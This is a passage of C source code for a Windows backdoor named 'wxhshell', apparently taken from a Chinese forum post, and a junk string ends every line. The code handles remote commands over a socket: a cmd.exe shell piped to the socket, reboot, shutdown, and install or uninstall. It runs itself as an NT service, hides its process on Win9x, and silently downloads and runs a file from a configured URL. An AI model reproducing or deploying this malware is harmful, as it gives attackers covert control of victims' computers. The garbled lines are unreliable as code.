  case '?': { K~2sX>l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u|T]Ne  
    break; /zb/ am1#  
  } NL>Trv5  
  // 安装 ^)I}#  
  case 'i': { 97$Q?a8S@  
    if(Install()) KO%$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X d o\DQn  
    else ?Z_T3/ f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kh[l};/F  
    break; F\^8k/0  
    } l qwy5#  
  // 卸载 [z ]P5  
  case 'r': { y.}{KQ"a*  
    if(Uninstall()) &M@c50&%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\fA}b  
    else ?|/K(}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dQZdL4  
    break; ^_g%c&H  
    } !LM`2|3$  
  // 显示 wxhshell 所在路径 :o8|P  
  case 'p': { 4hLk+z<n  
    char svExeFile[MAX_PATH]; L\UGC%]9  
    strcpy(svExeFile,"\n\r"); "]kzt ux  
      strcat(svExeFile,ExeFile); &P>& T  
        send(wsh,svExeFile,strlen(svExeFile),0); !02y'JS1  
    break; aL*MCgb'  
    } [Eccj`\e g  
  // 重启 %OB>FY:|  
  case 'b': { IW&*3I<K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +Ugy=678Tr  
    if(Boot(REBOOT)) > Xh=P%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); leb/D>y  
    else { !=PH5jTY  
    closesocket(wsh); *~shvtq  
    ExitThread(0); U#S-x5Gn  
    } r5ldK?=k+*  
    break; [DDe}D3C  
    } Y0krFhL'x0  
  // 关机 [Z"Z5e`  
  case 'd': { /*{'p!?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KXDnhV f  
    if(Boot(SHUTDOWN)) 0%%U7GFB5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2>o^@4PnZ  
    else { VevG 64o  
    closesocket(wsh); K-)!d$$   
    ExitThread(0); gd]S;<Jh  
    } HcJ!(  
    break; Sn4xv2/  
    } Knqv|jJVx1  
  // 获取shell JVkuSIR>  
  case 's': { m$^5{qpg  
    CmdShell(wsh); ,Yx<"2 W  
    closesocket(wsh); #b;k+<n[X  
    ExitThread(0); mRRZ/m?A(  
    break; [?|yQ x  
  } E:B"!Y6  
  // 退出 % &&)[  
  case 'x': { }4!}vkVx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !j`<iPI7B  
    CloseIt(wsh); UkpTK8>&  
    break; kP+,x H)1  
    } /;+\6(+X  
  // 离开 3@\/5I xn  
  case 'q': { e)B1)c8s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B>>_t2IU  
    closesocket(wsh); 8 yi#] 5`Q  
    WSACleanup(); dm[cl~[ Q  
    exit(1); >'W,8F  
    break; p+|8(w9A${  
        } Z!~_#_Ugl  
  } {6h 1  
  } .Z'NH wCy  
\wsVO"/  
  // 提示信息 NQ;X|$!zH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 97\K] Tr  
}  f_n  
  } ]r3/hDRDL@  
Qs za,09  
  return; |v8h g])I+  
} bRyxP2  
ym%` l!  
// shell模块句柄 1E / G+pm  
int CmdShell(SOCKET sock) qpjZ-[UC  
{ (}6\_k[}m  
STARTUPINFO si; MnqT?Cc4$j  
ZeroMemory(&si,sizeof(si)); 6`Y:f[VB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ``k[CgV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dWiNe!oY2  
PROCESS_INFORMATION ProcessInfo; 4)D~S4{E5  
char cmdline[]="cmd";  K];]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ><D2of|  
  return 0; &8l?$7S"_/  
} keRLai7h  
Y)F(-H)  
// 自身启动模式 7F0J*M  
int StartFromService(void) ,'HjL:r  
{ )Cj1VjAg  
typedef struct M0xhcU_  
{ HM0&%  
  DWORD ExitStatus; WwTl|wgvyI  
  DWORD PebBaseAddress; 4V4S5V  
  DWORD AffinityMask; @@K/0:],  
  DWORD BasePriority; Vdx o  
  ULONG UniqueProcessId; '_4apyq|  
  ULONG InheritedFromUniqueProcessId; _,60pr3D'  
}   PROCESS_BASIC_INFORMATION; xBc|rqge  
-O?HfQ  
PROCNTQSIP NtQueryInformationProcess; n/(}|xYU  
N8At N\e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cy uRj[;B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aY? VP?BL  
D!Y@Og.  
  HANDLE             hProcess; ?M&@# lbG  
  PROCESS_BASIC_INFORMATION pbi; c8[kL$b;j  
}=R0AKz!Cv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :{)uD ;  
  if(NULL == hInst ) return 0; fXWE4^jU  
)'f=!'X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "1^tVw|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y*X.DS 1(w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6>#8 ^{[  
WHBGhU  
  if (!NtQueryInformationProcess) return 0; X9|*`h<  
X)hpbHa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O&aD]~|  
  if(!hProcess) return 0;  rn( drG  
Zl&ED{k<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2;"vF9WMm  
)e'F[  
  CloseHandle(hProcess); B*O/>=_  
~<<32t'S:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R[jFB 7dd  
if(hProcess==NULL) return 0; CKZEX*mPC  
0Yq_B+IC  
HMODULE hMod; oY0b8=[  
char procName[255]; _F[a2PE2+  
unsigned long cbNeeded; 1G12FV>M  
2HBey  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aW dI  
U W8yu.`?  
  CloseHandle(hProcess); u;H^4} OQ  
P.q7rk<  
if(strstr(procName,"services")) return 1; // 以服务启动 dtY8>klI  
B,_K mHItd  
  return 0; // 注册表启动 E_A5KLP  
} d2i ?FT>  
dl8f]y#Q  
// 主模块 M0lJyz J  
int StartWxhshell(LPSTR lpCmdLine) r`<e<C  
{ k6z ]-XG  
  SOCKET wsl; ;}f {o^]'  
BOOL val=TRUE; |-{e!&  
  int port=0; bws}'#-*  
  struct sockaddr_in door; t^KQv~  
eDP&W$s#  
  if(wscfg.ws_autoins) Install(); 12'MzIsU's  
kG5+kwV=:  
port=atoi(lpCmdLine); o:ow"cOEf  
tzd !r7  
if(port<=0) port=wscfg.ws_port; Q.eD:@%iE  
c-&Q_lB  
  WSADATA data; W&cs&>F#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $eT[`r  
./3/3& 6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PPV T2;9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *2-b&PQR{  
  door.sin_family = AF_INET; 8$]SvfX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _u6N aB  
  door.sin_port = htons(port); Q%q;=a  
9]ZfSn)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (-0d@eqw  
closesocket(wsl); q({-C  
return 1;  q9{ h@y  
} ltk ARc3  
b|k^   
  if(listen(wsl,2) == INVALID_SOCKET) { #W/Ch"Kv  
closesocket(wsl); 5655)u.N8  
return 1; XX90 Is  
} q] pHD})O  
  Wxhshell(wsl); @|"K"j#  
  WSACleanup(); zi`q([  
> r(`4M:  
return 0; _i7yyt;h  
Z?qLn6y1W  
} "AXgT[ O  
DAf@-~c  
// 以NT服务方式启动 fW=<bf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >)NS U  
{ cy? #LS  
DWORD   status = 0; =2( 52#pT  
  DWORD   specificError = 0xfffffff; q'y< UyT6  
J9tV|0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _]ZlGq!L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J Bq6Qg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |BhL.  
  serviceStatus.dwWin32ExitCode     = 0; /CyFe<t  
  serviceStatus.dwServiceSpecificExitCode = 0;  9S9j  
  serviceStatus.dwCheckPoint       = 0; YW~ 9N  
  serviceStatus.dwWaitHint       = 0; xH` VX-X3  
N$t<&5 +  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pN9U1!|uam  
  if (hServiceStatusHandle==0) return; 6hR ` sE  
C7W<7DBf  
status = GetLastError(); <3j`Z1J  
  if (status!=NO_ERROR) %zY5'$v `  
{ x<rS2d-Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nc[N 11?O  
    serviceStatus.dwCheckPoint       = 0; t OJyj49^a  
    serviceStatus.dwWaitHint       = 0; %ueD3;V  
    serviceStatus.dwWin32ExitCode     = status; j -"34  
    serviceStatus.dwServiceSpecificExitCode = specificError; +Tx_q1/f5X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N8kNi4$mp=  
    return; V'dw=W17V  
  } 2/A*\  
9* 3;v;F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =~W=}  
  serviceStatus.dwCheckPoint       = 0; ci2Z_JA+  
  serviceStatus.dwWaitHint       = 0; h:G>w`X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >L "+8N6  
} nTtEv~a_n  
:EYUBtTj  
// 处理NT服务事件,比如:启动、停止 jK[*_V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GB}=  
{ dP_bFUzg  
switch(fdwControl) sz/^Ie-~  
{ W?wt$'  
case SERVICE_CONTROL_STOP: (`#z@,1  
  serviceStatus.dwWin32ExitCode = 0; :t "_I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9(!AKKrr;  
  serviceStatus.dwCheckPoint   = 0; ^[bFGKE  
  serviceStatus.dwWaitHint     = 0; -O1$jBQ S  
  { !"RRw&0M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [742s]j  
  } kmu`sk"  
  return; 0!0o[3*  
case SERVICE_CONTROL_PAUSE: }!Pty25j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; umnQ$y 0  
  break; +rSU  
case SERVICE_CONTROL_CONTINUE: CSW+UaE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Gl|n}wo$  
  break; z>y# ^f)r  
case SERVICE_CONTROL_INTERROGATE: #l- 0$  
  break; 0J466H_d{  
}; S#yGqN0i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +%klS `_  
} ,g0t&jITo  
="vg/@.>i  
// 标准应用程序主函数 ]=i('|YG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D{y7[#$h$  
{ biw . ~  
*[b>]GXd49  
// 获取操作系统版本 PrfG  
OsIsNt=GetOsVer(); 0n kC%j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yVXVHCB  
P{QHG 3  
  // 从命令行安装 R6;#+ 1D  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z.Dg=>G]  
?D)$O CS  
  // 下载执行文件 Dyo^O=0c  
if(wscfg.ws_downexe) { E6O!e<ze^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O8" t.W  
  WinExec(wscfg.ws_filenam,SW_HIDE); o%;ly  
} GB pdj}2=  
n=$ne2/  
if(!OsIsNt) { *ej< 0I{  
// 如果时win9x,隐藏进程并且设置为注册表启动 KDGrX[L:6  
HideProc(); +|X`cmnuU  
StartWxhshell(lpCmdLine); J}8p}8eF,  
} O(=9&PRi  
else ]&D= *:c  
  if(StartFromService()) r1vS~ 4Z  
  // 以服务方式启动 |nLq 4.  
  StartServiceCtrlDispatcher(DispatchTable); p"jze3mF  
else r7?nHF  
  // 普通方式启动 o37oRv]  
  StartWxhshell(lpCmdLine); |7A}LA  
{=Jo!t;f  
return 0; T!41[vm(  
}
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只看该作者 1 发表于: 2006-10-10
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